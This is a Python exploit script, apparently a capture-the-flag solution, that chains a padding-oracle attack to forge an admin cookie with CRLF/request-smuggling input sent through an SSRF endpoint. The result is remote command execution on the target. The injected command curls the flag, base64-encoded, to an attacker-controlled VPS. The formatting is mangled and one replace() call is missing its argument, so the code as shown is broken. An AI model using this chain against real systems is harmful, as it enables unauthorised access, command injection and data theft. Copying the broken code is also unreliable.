import urllib.parse
from http.cookies import SimpleCookie
import requests
from padding_oracle import PaddingOracle
from optimized_alphabets import json_alphabet
attackIP = ""
attackPort = ""
vpsIP = ""
vpsPort = ""
def payload_encode(raw):
payload = raw.replace('\n', '\u010d\u010a') \
.replace('+', '\u012b') \
.replace(' ', '\u0120') \
.replace(
, '\u0122') \
.replace("'", '\u0a27') \
.replace('[', '\u015b') \
.replace(']', '\u015d')
return payload
def oracle(cipher_hex):
headers = {'Cookie':"isadmin={}".format(cipher_hex)}
r = requests.get("http://"+attackIP+":"+attackPort+"/admin",headers = headers)
response = r.content
if b"Decrypt error" not in response:
return True
else:
return False
def step1():
r = requests.get(url="http://"+attackIP+":"+attackPort)
cookie = SimpleCookie(r.headers['Set-Cookie'])
cookie = cookie["isadmin"].value
return cookie
def step2(cipher):
o = PaddingOracle(oracle, max_retries=-1)
plain, _ = o.decrypt(cipher, optimized_alphabet=json_alphabet())
plain_new = b"{\"admin\":\"1\"}"
cipher_new = o.craft(cipher, plain, plain_new)
return cipher_new
def step3(new_cookie):
payload = " HTTP/1.1\n\nPOST /C00mmmmanD HTTP/1.1\nHost: 127.0.0.1\nCookie: isadmin={}\nConnection: close\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 72\n\ncmd=curl%20" + vpsIP + "%3A" + vpsPort + "%3F%60cat%20flag%7Cgrep%20flag%7Cbase64%60\n\nGET / HTTP/1.1\ntest:"
payload = payload.format(new_cookie)
payload = payload_encode(payload)
r = requests.get("http://"+attackIP+":"+attackPort+"/search?url=http://127.0.0.1:"+attackPort+"/" + urllib.parse.quote(payload))
if __name__ == "__main__":
cookie = step1()
new_cookie = step2(cookie)
step3(new_cookie)
